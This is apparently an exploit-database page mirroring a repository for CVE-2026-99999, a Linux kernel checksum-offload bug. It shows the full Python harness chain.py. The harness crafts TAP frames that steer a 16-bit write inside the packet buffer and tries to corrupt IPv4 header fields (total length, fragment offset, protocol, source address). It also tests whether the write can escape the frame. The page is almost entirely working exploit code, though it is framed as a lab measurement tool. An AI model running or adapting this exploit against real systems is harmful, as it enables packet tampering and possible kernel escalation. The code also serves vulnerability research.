Exploit databaseDownload repository ZIP
GH-f1c23bc70aa36d44f0bcfc69f53109ab
gandli/cve-2026-99999-pwnescape
Sources for CVE-2026-99999
10 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files11
gandli/cve-2026-99999-pwnescapeRevision b589a5e527eb
- ↑..Parent directory
- c/
- go/
- EXP.md
- EXP.zh-CN.md
- Makefile
- USAGE.md
- USAGE.zh-CN.md
- chain.py
- kernel_verdict.py
- leak.py
- probe.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exp/chain.py
Python · 7,290 bytes#!/usr/bin/env python3
"""CVE-2026-99999 — how far the primitive actually reaches.
The bug gives two things:
* a 16-bit write of an arbitrary value at an arbitrary offset **inside the
packet buffer** (the value is the completed checksum, which one payload word
can steer to any 16-bit number);
* a 32-byte read past ``skb_headlen()``, because the write also sets IHL to 15.
This tool measures the boundary of the first one and tries the four escalation
targets that would matter if the write could leave the packet:
--bound prove the write is confined to the frame
--write-at K V write V at IPv4 offset K, show where it landed
--try tot_len corrupt tot_len (offset 2)
--try frag_off corrupt frag_off (offset 6)
--try proto corrupt protocol (offset 9)
--try saddr corrupt the source address (offset 12)
Run it inside the lab namespace, as root:
ip netns exec pwnlab python3 exp/chain.py --bound
"""
import argparse
import os
import struct
import sys
HERE = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, os.path.join(HERE, "..", "poc"))
import pwnescape as pe # noqa: E402
def pick_adj(start, total):
"""Find a free word inside the checksummed range [start, total) to steer.
It has to sit after `start` (that is where the checksum begins) and stay
clear of it (that is where the fold is written back).
"""
for cand in (start + 16, start + 8, 40, 34):
if cand >= pe.IP_LEN and cand + 2 <= total and cand != start:
return cand
raise RuntimeError("no room for an adjustment word after offset %d" % start)
def solve_value(payload, ip_id, target, start):
"""Pick a payload word so the kernel's fold equals `target`.
The kernel checksums [csum_start, end), i.e. the IPv4 packet from `start`
onward, then writes the fold little-endian at that same offset.
"""
total = pe.IP_LEN + len(payload)
adj = pick_adj(start, total)
off = adj - pe.IP_LEN
for w in range(0x10000):
payload[off] = w & 0xFF
payload[off + 1] = (w >> 8) & 0xFF
pkt = pe.datagram(payload, ip_id)
pe.forward_ttl(pkt)
if pe.csum_fold(pe.csum_partial(bytes(pkt[start:]))) == target:
return w
raise RuntimeError("no payload word folds to %#06x at offset %d" % (target, start))
def send(tap, ip_offset, value=None, payload_len=300):
"""Send one frame whose checksum metadata points at IPv4 offset `ip_offset`.
value=None skips the solver: useful when the write is meant to be rejected
at ingress anyway, or when no room is left to steer the checksum.
"""
payload = bytearray(b"\x5a" * payload_len)
if value is None:
word = None
else:
# Only the solving path may grow the frame: --bound needs a fixed size
# so that "past the end" really is past the end.
payload_len = max(payload_len, ip_offset + 64)
payload = bytearray(b"\x5a" * payload_len)
# The kernel stores the fold little-endian, so byte-swap the wanted value.
target = ((value & 0xFF) << 8) | ((value >> 8) & 0xFF)
word = solve_value(payload, pe.IP_ID, target, ip_offset)
pkt = pe.datagram(payload, pe.IP_ID)
csum_start = pe.L2_LEN + ip_offset
pe.write_tap(tap, pe.frame(pkt), csum_start=csum_start)
return word, csum_start, pe.L2_LEN + pe.IP_LEN + payload_len
def describe(pkt):
ihl = (pkt[0] & 0x0F) * 4
tot = struct.unpack_from("!H", pkt, 2)[0]
ident = struct.unpack_from("!H", pkt, 4)[0]
frag = struct.unpack_from("!H", pkt, 6)[0]
return ("first=0x%02x ihl=%dB tot_len=%d id=0x%04x frag_off=0x%04x "
"(offset=%d mf=%d) proto=%d src=%s dst=%s"
% (pkt[0], ihl, tot, ident, frag, (frag & 0x1FFF) * 8,
(frag >> 13) & 1, pkt[9],
".".join(str(x) for x in pkt[12:16]),
".".join(str(x) for x in pkt[16:20])))
def run(tap, cap, label, ip_offset, value=None, payload_len=300):
print("--- %s: %s at IPv4 offset %d"
% (label, "write 0x%04x" % value if value is not None else "raw frame",
ip_offset))
try:
word, cs, frame = send(tap, ip_offset, value, payload_len)
except OSError as exc:
print(" -> rejected at the tap: %s" % exc)
print(" virtio_net_hdr_to_skb() refuses a csum_start past the frame")
return None
print(" solver word %s, csum_start=%d, frame=%d bytes"
% ("0x%04x" % word if word is not None else "skipped", cs, frame))
pkts = pe.collect(cap, 0.6, pe.IP_ID)
if not pkts:
print(" -> nothing captured: the kernel dropped it")
return None
print(" -> %d fragment(s)" % len(pkts))
print(" " + describe(pkts[0]))
if value is not None and 0 <= ip_offset <= len(pkts[0]) - 2:
got = struct.unpack_from("!H", pkts[0], ip_offset)[0]
print(" read back at offset %d: 0x%04x (wanted 0x%04x) %s"
% (ip_offset, got, value, "MATCH" if got == value else "differs"))
return pkts[0]
def main():
ap = argparse.ArgumentParser(description="escalation-boundary harness")
ap.add_argument("--tap", default=os.environ.get("PWN_TAP", "pwntap"))
ap.add_argument("--cap", default=os.environ.get("PWN_CAP", "pwnv1"))
ap.add_argument("--bound", action="store_true")
ap.add_argument("--write-at", nargs=2, metavar=("OFFSET", "VALUE"))
ap.add_argument("--try", dest="target", choices=("tot_len", "frag_off", "proto", "saddr"))
args = ap.parse_args()
tap = pe.open_tap(args.tap)
cap = pe.open_capture(args.cap)
try:
if args.bound:
# Frame is L2(22) + IP(20) + payload. The admission bound is
# csum_start + 2 <= skb_headlen(), i.e. offset + 2 <= ip_len.
run(tap, cap, "inside (last legal word)", 318, payload_len=300)
run(tap, cap, "outside (one byte past the frame)", 319, payload_len=300)
run(tap, cap, "far outside", 400, payload_len=300)
print("\nTwo rejects above mean the write cannot leave the packet "
"buffer, so it cannot reach skb_shared_info or a neighbour.")
if args.write_at:
off = int(args.write_at[0], 0)
val = int(args.write_at[1], 0)
run(tap, cap, "write-at", off, val)
if args.target:
t = args.target
if t == "tot_len":
run(tap, cap, "tot_len -> 0xff00", 2, 0xFF00)
print(" note: ip_do_fragment() recomputes tot_len per fragment")
elif t == "frag_off":
run(tap, cap, "frag_off -> 0x1fff (offset 65528, MF=1)", 6, 0x1FFF)
print(" note: the far side's defrag owns the reassembly length")
elif t == "proto":
run(tap, cap, "proto -> 0 (offset 9 holds the high byte)", 9, 0x0600)
print(" note: a corrupted protocol only changes the demux key")
elif t == "saddr":
run(tap, cap, "saddr -> 10.9.0.2", 12, 0x0A09)
print(" note: the source address is still inside the frame")
finally:
os.close(tap)
cap.close()
if __name__ == "__main__":
sys.exit(main())